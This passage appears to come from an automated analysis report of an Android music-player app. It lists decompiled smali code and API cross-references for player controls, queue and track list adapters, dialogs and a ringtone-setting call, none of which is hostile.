58invoke-virtual {v3, v6}, Landroid/widget/TextView;->setTextColor(I)V
60invoke-virtual {v5}, Landroid/view/View;->getResources()Landroid/content/res/Resources;
61move-result-object v6
63invoke-virtual {v6, v8}, Landroid/content/res/Resources;->getColor(I)I
  • Data flow analysis:
    • id: 2131165200
64move-result v6
66invoke-virtual {v1, v6}, Landroid/widget/TextView;->setTextColor(I)V
68invoke-virtual {v5}, Landroid/view/View;->getResources()Landroid/content/res/Resources;
69move-result-object v6
70const v7, 0x7f07000f
72invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getColor(I)I
  • Data flow analysis:
    • id: 2131165199
73move-result v6
75invoke-virtual {v5, v6}, Landroid/view/View;->setBackgroundColor(I)V
76goto_6b: const v6, 0x7f0a004e
78invoke-virtual {v5, v6}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361870
79move-result-object v6
80check-cast v6, Landroid/widget/Spinner;
81iput-object v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->spinner:Landroid/widget/Spinner;
83iget-object v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->spinner:Landroid/widget/Spinner;
85invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
86move-result-object v7
88invoke-virtual {v6, v7}, Landroid/widget/Spinner;->setTag(Ljava/lang/Object;)V
90iget-object v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
92invoke-virtual {v6}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
93move-result-object v6
94const v7, 0x7f0d0001
96invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getStringArray(I)[Ljava/lang/String;
  • Data flow analysis:
    • id: 2131558401
97move-result-object v6
98iput-object v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->menus:[Ljava/lang/String;
99new-instance v0, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;
101iget-object v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
102const v7, 0x1090003
104iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->menus:[Ljava/lang/String;
106invoke-direct {v0, v6, v7, v8}, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;-><init>(Landroid/content/Context;I[Ljava/lang/String;)V
  • Data flow analysis:
    • p1: 17367043
107const v6, 0x7f03001a
109invoke-virtual {v0, v6}, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;->setDropDownViewResource(I)V
  • Data flow analysis:
    • resource: 2130903066
111iget-object v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->spinner:Landroid/widget/Spinner;
113invoke-virtual {v6, v0}, Landroid/widget/Spinner;->setAdapter(Landroid/widget/SpinnerAdapter;)V
115iget-object v6, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->spinner:Landroid/widget/Spinner;
117invoke-virtual {v6, p0}, Landroid/widget/Spinner;->setOnItemSelectedListener(Landroid/widget/AdapterView$OnItemSelectedListener;)V
118return-object v5
119cond_ab:
120invoke-virtual {v5}, Landroid/view/View;->getResources()Landroid/content/res/Resources;
121move-result-object v6
122const v7, 0x7f07000c
124invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getColor(I)I
  • Data flow analysis:
    • id: 2131165196
125move-result v6
127invoke-virtual {v3, v6}, Landroid/widget/TextView;->setTextColor(I)V
129invoke-virtual {v5}, Landroid/view/View;->getResources()Landroid/content/res/Resources;
130move-result-object v6
131const v7, 0x7f07000d
133invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getColor(I)I
  • Data flow analysis:
    • id: 2131165197
134move-result v6
136invoke-virtual {v1, v6}, Landroid/widget/TextView;->setTextColor(I)V
138invoke-virtual {v5}, Landroid/view/View;->getResources()Landroid/content/res/Resources;
139move-result-object v6
140const v7, 0x7f070009
142invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getColor(I)I
  • Data flow analysis:
    • id: 2131165193
143move-result v6
145invoke-virtual {v5, v6}, Landroid/view/View;->setBackgroundColor(I)V
146goto/16 :goto_6b
Cross References
APIs
  • com.twdlphqg.app.PlayerActivity.getSupportActionBar
  • java.util.ArrayList.get
  • android.support.v7.app.ActionBar.setTitle
  • com.twdlphqg.app.PlayerActivity.findViewById
  • android.widget.SeekBar.setOnSeekBarChangeListener
  • android.widget.ImageButton.setOnClickListener
  • android.widget.ImageButton.setImageResource
  • android.widget.ImageButton.setOnClickListener
  • android.widget.ImageButton.setImageResource
  • android.widget.ImageButton.setOnClickListener
  • com.twdlphqg.app.services.AudioPlayerService.isPlay
  • android.widget.ImageButton.setImageResource
  • com.twdlphqg.app.PlayerActivity.updateProgress
  • com.twdlphqg.app.adapter.PagerAdapter.getItem
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • com.twdlphqg.app.fragments.TrackInQueueFragment.setTrackIndex
  • com.twdlphqg.app.adapter.PagerAdapter.getItem
  • java.util.ArrayList.get
  • java.util.ArrayList.isEmpty
  • java.util.ArrayList.get
  • com.twdlphqg.app.fragments.AlbumArtFragment.setAlbumArt
  • android.widget.ImageButton.setImageResource
Position Instruction Meta Information
0.prologue
1const/4 v9, 0x1
2const/4 v8, 0x0
4invoke-virtual {p0}, Lcom/twdlphqg/app/PlayerActivity;->getSupportActionBar()Landroid/support/v7/app/ActionBar;
5move-result-object v0
7iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
8iget v7, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
10invoke-virtual {v6, v7}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
11move-result-object v6
12check-cast v6, Lcom/twdlphqg/app/models/Track;
14invoke-virtual {v6}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
15move-result-object v6
17invoke-virtual {v0, v6}, Landroid/support/v7/app/ActionBar;->setTitle(Ljava/lang/CharSequence;)V
18const v6, 0x7f0a004a
20invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361866
21move-result-object v6
22check-cast v6, Landroid/widget/ImageButton;
23iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnPlayAndPause:Landroid/widget/ImageButton;
24const v6, 0x7f0a004b
26invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361867
27move-result-object v6
28check-cast v6, Landroid/widget/ImageButton;
29iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnNext:Landroid/widget/ImageButton;
30const v6, 0x7f0a0049
32invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361865
33move-result-object v6
34check-cast v6, Landroid/widget/ImageButton;
35iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnPrev:Landroid/widget/ImageButton;
36const v6, 0x7f0a0048
38invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361864
39move-result-object v6
40check-cast v6, Landroid/widget/ImageButton;
41iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnRepeat:Landroid/widget/ImageButton;
42const v6, 0x7f0a004c
44invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361868
45move-result-object v6
46check-cast v6, Landroid/widget/ImageButton;
47iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnShuffle:Landroid/widget/ImageButton;
48const v6, 0x7f0a0046
50invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361862
51move-result-object v6
52check-cast v6, Landroid/widget/TextView;
53iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->txtTotalTime:Landroid/widget/TextView;
54const v6, 0x7f0a0045
56invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361861
57move-result-object v6
58check-cast v6, Landroid/widget/TextView;
59iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->txtElapsedTime:Landroid/widget/TextView;
60const v6, 0x7f0a0047
62invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361863
63move-result-object v6
64check-cast v6, Landroid/widget/SeekBar;
65iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->prgTrack:Landroid/widget/SeekBar;
66const v6, 0x7f0a0042
68invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361858
69move-result-object v6
70check-cast v6, Landroid/widget/Button;
71iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->rectangle_1:Landroid/widget/Button;
72const v6, 0x7f0a0043
74invoke-virtual {p0, v6}, Lcom/twdlphqg/app/PlayerActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361859
75move-result-object v6
76check-cast v6, Landroid/widget/Button;
77iput-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->rectangle_2:Landroid/widget/Button;
79iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->prgTrack:Landroid/widget/SeekBar;
81invoke-virtual {v6, p0}, Landroid/widget/SeekBar;->setOnSeekBarChangeListener(Landroid/widget/SeekBar$OnSeekBarChangeListener;)V
83iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnPlayAndPause:Landroid/widget/ImageButton;
84new-instance v7, Lcom/twdlphqg/app/PlayerActivity$4;
86invoke-direct {v7, p0}, Lcom/twdlphqg/app/PlayerActivity$4;-><init>(Lcom/twdlphqg/app/PlayerActivity;)V
88invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setOnClickListener(Landroid/view/View$OnClickListener;)V
89iget-boolean v6, p0, Lcom/twdlphqg/app/PlayerActivity;->isRepeat:Z
90if-eqz v6, :cond_13c
92iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnRepeat:Landroid/widget/ImageButton;
93const v7, 0x7f020065
95invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837605
96goto_a0:
97iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnRepeat:Landroid/widget/ImageButton;
98new-instance v7, Lcom/twdlphqg/app/PlayerActivity$5;
100invoke-direct {v7, p0}, Lcom/twdlphqg/app/PlayerActivity$5;-><init>(Lcom/twdlphqg/app/PlayerActivity;)V
102invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setOnClickListener(Landroid/view/View$OnClickListener;)V
103iget-boolean v6, p0, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
104if-eqz v6, :cond_146
106iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnShuffle:Landroid/widget/ImageButton;
107const v7, 0x7f020068
109invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837608
110goto_b6:
111iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnShuffle:Landroid/widget/ImageButton;
112new-instance v7, Lcom/twdlphqg/app/PlayerActivity$6;
114invoke-direct {v7, p0}, Lcom/twdlphqg/app/PlayerActivity$6;-><init>(Lcom/twdlphqg/app/PlayerActivity;)V
116invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setOnClickListener(Landroid/view/View$OnClickListener;)V
118iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnNext:Landroid/widget/ImageButton;
119new-instance v7, Lcom/twdlphqg/app/PlayerActivity$7;
121invoke-direct {v7, p0}, Lcom/twdlphqg/app/PlayerActivity$7;-><init>(Lcom/twdlphqg/app/PlayerActivity;)V
123invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setOnClickListener(Landroid/view/View$OnClickListener;)V
125iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnPrev:Landroid/widget/ImageButton;
126new-instance v7, Lcom/twdlphqg/app/PlayerActivity$8;
128invoke-direct {v7, p0}, Lcom/twdlphqg/app/PlayerActivity$8;-><init>(Lcom/twdlphqg/app/PlayerActivity;)V
130invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setOnClickListener(Landroid/view/View$OnClickListener;)V
132iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
134invoke-virtual {v6}, Lcom/twdlphqg/app/services/AudioPlayerService;->isPlay()Z
135move-result v6
136if-eqz v6, :cond_150
138iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnPlayAndPause:Landroid/widget/ImageButton;
139const v7, 0x7f020061
141invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837601
142goto_e4:
143invoke-virtual {p0}, Lcom/twdlphqg/app/PlayerActivity;->updateProgress()V
145iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->pagerAdapter:Lcom/twdlphqg/app/adapter/PagerAdapter;
146if-eqz v6, :cond_13b
148iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->pagerAdapter:Lcom/twdlphqg/app/adapter/PagerAdapter;
150invoke-virtual {v6, v8}, Lcom/twdlphqg/app/adapter/PagerAdapter;->getItem(I)Landroid/support/v4/app/Fragment;
  • Data flow analysis:
    • p0: 0
151move-result-object v5
152check-cast v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
154iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
155iget v7, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
157invoke-virtual {v6, v7}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
158move-result-object v6
159check-cast v6, Lcom/twdlphqg/app/models/Track;
161invoke-static {v9}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
162move-result-object v7
164invoke-virtual {v6, v7}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
165iget v6, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
167invoke-virtual {v5, v6}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->setTrackIndex(I)V
169iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->pagerAdapter:Lcom/twdlphqg/app/adapter/PagerAdapter;
171invoke-virtual {v6, v9}, Lcom/twdlphqg/app/adapter/PagerAdapter;->getItem(I)Landroid/support/v4/app/Fragment;
  • Data flow analysis:
    • p0: 1
172move-result-object v1
173check-cast v1, Lcom/twdlphqg/app/fragments/AlbumArtFragment;
174new-instance v3, Lcom/twdlphqg/app/dals/AlbumDal;
176invoke-direct {v3, p0}, Lcom/twdlphqg/app/dals/AlbumDal;-><init>(Landroid/content/Context;)V
178iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
179iget v7, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
181invoke-virtual {v6, v7}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
182move-result-object v6
183check-cast v6, Lcom/twdlphqg/app/models/Track;
185invoke-virtual {v6}, Lcom/twdlphqg/app/models/Track;->getAlbumId()I
186move-result v6
188invoke-virtual {v3, v6}, Lcom/twdlphqg/app/dals/AlbumDal;->getAlbumsByIdOnMDS(I)Ljava/util/ArrayList;
189move-result-object v4
191invoke-virtual {v4}, Ljava/util/ArrayList;->isEmpty()Z
192move-result v6
193if-nez v6, :cond_13b
195invoke-virtual {v4, v8}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
196move-result-object v6
197check-cast v6, Lcom/twdlphqg/app/models/Album;
199invoke-virtual {v6}, Lcom/twdlphqg/app/models/Album;->getAlbumArt()Ljava/lang/String;
200move-result-object v2
202invoke-virtual {v1, v2}, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->setAlbumArt(Ljava/lang/String;)V
203cond_13b: return-void
204cond_13c:
205iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnRepeat:Landroid/widget/ImageButton;
206const v7, 0x7f020064
208invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837604
209goto/16 :goto_a0
210cond_146:
211iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnShuffle:Landroid/widget/ImageButton;
212const v7, 0x7f020067
214invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837607
215goto/16 :goto_b6
216cond_150:
217iget-object v6, p0, Lcom/twdlphqg/app/PlayerActivity;->btnPlayAndPause:Landroid/widget/ImageButton;
218const v7, 0x7f020062
220invoke-virtual {v6, v7}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837602
221goto/16 :goto_e4
APIs
  • android.widget.AdapterView.getTag
  • java.lang.Integer.intValue
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • android.widget.AdapterView.setSelection
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.<init>
  • android.app.AlertDialog$Builder.setMessage
  • android.app.AlertDialog$Builder.setPositiveButton
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.show
  • java.util.ArrayList.get
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.newInstance
  • android.os.Bundle.<init>
  • java.util.ArrayList.get
  • android.os.Bundle.putParcelable
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.setArguments
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.show
Strings
  • POS
  • dialog
Position Instruction Meta Information
0.param p2, "arg1" # Landroid/view/View;
1.param p3, "position" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
14invoke-virtual {p1}, Landroid/widget/AdapterView;->getTag()Ljava/lang/Object;
15move-result-object v8
16check-cast v8, Ljava/lang/Integer;
18invoke-virtual {v8}, Ljava/lang/Integer;->intValue()I
19move-result v5
21const-string v8, "POS"
22new-instance v9, Ljava/lang/StringBuilder;
24invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
25move-result-object v10
27invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
29invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
30move-result-object v9
32invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: POS
33packed-switch p3, :pswitch_data_aa
34goto_1f: const/4 v8, 0x0
36invoke-virtual {p1, v8}, Landroid/widget/AdapterView;->setSelection(I)V
  • Data flow analysis:
    • position: 0
37return-void
38pswitch_24:
39iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
41invoke-virtual {v8}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
42move-result-object v8
43const v9, 0x7f0b0017
45invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427351
46move-result-object v4
48iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
50invoke-virtual {v8}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
51move-result-object v8
52const v9, 0x7f0b0019
54invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427353
55move-result-object v6
57iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
59invoke-virtual {v8}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
60move-result-object v8
61const v9, 0x7f0b001a
63invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427354
64move-result-object v1
66iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
68invoke-virtual {v8}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
69move-result-object v8
70const v9, 0x7f0b0027
72invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427367
73move-result-object v7
74new-instance v3, Landroid/app/AlertDialog$Builder;
76iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
78invoke-direct {v3, v8}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
80invoke-virtual {v3, v4}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
81new-instance v8, Lcom/twdlphqg/app/adapter/TrackAdapter$1;
83invoke-direct {v8, p0, v5, v7}, Lcom/twdlphqg/app/adapter/TrackAdapter$1;-><init>(Lcom/twdlphqg/app/adapter/TrackAdapter;ILjava/lang/String;)V
85invoke-virtual {v3, v6, v8}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
86new-instance v8, Lcom/twdlphqg/app/adapter/TrackAdapter$2;
88invoke-direct {v8, p0}, Lcom/twdlphqg/app/adapter/TrackAdapter$2;-><init>(Lcom/twdlphqg/app/adapter/TrackAdapter;)V
90invoke-virtual {v3, v1, v8}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
92invoke-virtual {v3}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
93move-result-object v8
95invoke-virtual {v8}, Landroid/app/AlertDialog;->show()V
96goto/16 :goto_1f
97pswitch_7a:
98iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->tracks:Ljava/util/ArrayList;
100invoke-virtual {v8, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
101move-result-object v8
102check-cast v8, Lcom/twdlphqg/app/models/Track;
104iget-object v9, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
106invoke-static {v5, v8, v9}, Lcom/twdlphqg/app/business/Ultils;->setRingtone(ILcom/twdlphqg/app/models/Track;Landroid/content/Context;)V
107goto/16 :goto_1f
108pswitch_88:
109invoke-static {}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->newInstance()Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
110move-result-object v2
111new-instance v0, Landroid/os/Bundle;
113invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
115sget-object v9, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
117iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->tracks:Ljava/util/ArrayList;
119invoke-virtual {v8, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
120move-result-object v8
121check-cast v8, Landroid/os/Parcelable;
123invoke-virtual {v0, v9, v8}, Landroid/os/Bundle;->putParcelable(Ljava/lang/String;Landroid/os/Parcelable;)V
125invoke-virtual {v2, v0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->setArguments(Landroid/os/Bundle;)V
127iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->fragmentManager:Landroid/support/v4/app/FragmentManager;
129const-string v9, "dialog"
131invoke-virtual {v2, v8, v9}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->show(Landroid/support/v4/app/FragmentManager;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: dialog
132goto/16 :goto_1f
APIs
  • android.widget.AdapterView.getTag
  • java.lang.Integer.intValue
  • android.widget.AdapterView.setSelection
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.<init>
  • android.app.AlertDialog$Builder.setMessage
  • android.app.AlertDialog$Builder.setPositiveButton
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.show
  • java.util.ArrayList.get
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.newInstance
  • android.os.Bundle.<init>
  • java.util.ArrayList.get
  • android.os.Bundle.putParcelable
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.setArguments
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.show
Strings
  • dialog
Position Instruction Meta Information
0.param p2, "arg1" # Landroid/view/View;
1.param p3, "position" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
14invoke-virtual {p1}, Landroid/widget/AdapterView;->getTag()Ljava/lang/Object;
15move-result-object v8
16check-cast v8, Ljava/lang/Integer;
18invoke-virtual {v8}, Ljava/lang/Integer;->intValue()I
19move-result v5
20packed-switch p3, :pswitch_data_98
21goto_d: const/4 v8, 0x0
23invoke-virtual {p1, v8}, Landroid/widget/AdapterView;->setSelection(I)V
  • Data flow analysis:
    • position: 0
24return-void
25pswitch_12:
26iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
28invoke-virtual {v8}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
29move-result-object v8
30const v9, 0x7f0b0017
32invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427351
33move-result-object v4
35iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
37invoke-virtual {v8}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
38move-result-object v8
39const v9, 0x7f0b0019
41invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427353
42move-result-object v6
44iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
46invoke-virtual {v8}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
47move-result-object v8
48const v9, 0x7f0b001a
50invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427354
51move-result-object v1
53iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
55invoke-virtual {v8}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
56move-result-object v8
57const v9, 0x7f0b0027
59invoke-virtual {v8, v9}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427367
60move-result-object v7
61new-instance v3, Landroid/app/AlertDialog$Builder;
63iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
65invoke-direct {v3, v8}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
67invoke-virtual {v3, v4}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
68new-instance v8, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;
70invoke-direct {v8, p0, v5, v7}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;-><init>(Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;ILjava/lang/String;)V
72invoke-virtual {v3, v6, v8}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
73new-instance v8, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$2;
75invoke-direct {v8, p0}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$2;-><init>(Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;)V
77invoke-virtual {v3, v1, v8}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
79invoke-virtual {v3}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
80move-result-object v8
82invoke-virtual {v8}, Landroid/app/AlertDialog;->show()V
83goto/16 :goto_d
84pswitch_68:
85iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->tracks:Ljava/util/ArrayList;
